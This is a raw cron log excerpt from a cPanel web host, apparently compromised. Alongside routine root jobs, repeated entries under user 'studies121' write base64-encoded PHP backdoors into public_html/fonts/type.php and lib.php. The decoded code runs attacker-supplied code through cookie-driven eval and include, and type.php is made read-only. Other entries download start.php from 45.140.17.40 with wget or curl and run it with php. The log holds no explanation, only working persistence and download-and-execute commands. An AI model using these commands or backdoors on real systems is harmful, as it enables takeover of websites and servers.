Sep 10 23:31:01 ip-184-168-122-23 CROND[27357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:31:01 ip-184-168-122-23 CROND[27358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:31:01 ip-184-168-122-23 CROND[27359]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 23:32:01 ip-184-168-122-23 CROND[27449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:32:01 ip-184-168-122-23 CROND[27451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:32:01 ip-184-168-122-23 CROND[27454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:32:01 ip-184-168-122-23 CROND[27452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:32:01 ip-184-168-122-23 CROND[27453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:33:01 ip-184-168-122-23 CROND[27536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:33:01 ip-184-168-122-23 CROND[27538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:33:01 ip-184-168-122-23 CROND[27537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:33:01 ip-184-168-122-23 CROND[27540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:34:01 ip-184-168-122-23 CROND[27636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:34:01 ip-184-168-122-23 CROND[27637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:34:01 ip-184-168-122-23 CROND[27640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:34:01 ip-184-168-122-23 CROND[27639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:34:01 ip-184-168-122-23 CROND[27638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:35:02 ip-184-168-122-23 CROND[27737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:35:02 ip-184-168-122-23 CROND[27738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:35:02 ip-184-168-122-23 CROND[27742]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 23:35:02 ip-184-168-122-23 CROND[27746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:35:02 ip-184-168-122-23 CROND[27748]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 23:35:02 ip-184-168-122-23 CROND[27747]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:35:02 ip-184-168-122-23 CROND[27750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:35:02 ip-184-168-122-23 CROND[27749]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:36:02 ip-184-168-122-23 CROND[27856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:36:02 ip-184-168-122-23 CROND[27858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:36:02 ip-184-168-122-23 CROND[27859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:36:02 ip-184-168-122-23 CROND[27860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:36:02 ip-184-168-122-23 CROND[27862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:37:01 ip-184-168-122-23 CROND[27939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:37:01 ip-184-168-122-23 CROND[27941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:37:01 ip-184-168-122-23 CROND[27943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:37:01 ip-184-168-122-23 CROND[27942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:38:01 ip-184-168-122-23 CROND[28108]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:38:01 ip-184-168-122-23 CROND[28109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:38:01 ip-184-168-122-23 CROND[28114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:38:01 ip-184-168-122-23 CROND[28112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:38:01 ip-184-168-122-23 CROND[28113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:39:01 ip-184-168-122-23 CROND[28197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:39:01 ip-184-168-122-23 CROND[28200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:39:01 ip-184-168-122-23 CROND[28199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:39:01 ip-184-168-122-23 CROND[28202]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 23:39:01 ip-184-168-122-23 CROND[28203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:40:01 ip-184-168-122-23 CROND[28301]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:40:01 ip-184-168-122-23 CROND[28302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:40:01 ip-184-168-122-23 CROND[28305]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:40:01 ip-184-168-122-23 CROND[28307]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 23:40:01 ip-184-168-122-23 CROND[28310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:40:01 ip-184-168-122-23 CROND[28308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:40:01 ip-184-168-122-23 CROND[28311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:40:01 ip-184-168-122-23 CROND[28306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:41:01 ip-184-168-122-23 CROND[28440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:41:01 ip-184-168-122-23 CROND[28441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:41:01 ip-184-168-122-23 CROND[28443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:41:01 ip-184-168-122-23 CROND[28444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:42:01 ip-184-168-122-23 CROND[28534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:42:01 ip-184-168-122-23 CROND[28536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:42:01 ip-184-168-122-23 CROND[28539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:42:01 ip-184-168-122-23 CROND[28538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:42:01 ip-184-168-122-23 CROND[28537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:43:01 ip-184-168-122-23 CROND[28707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:43:01 ip-184-168-122-23 CROND[28708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:43:01 ip-184-168-122-23 CROND[28710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
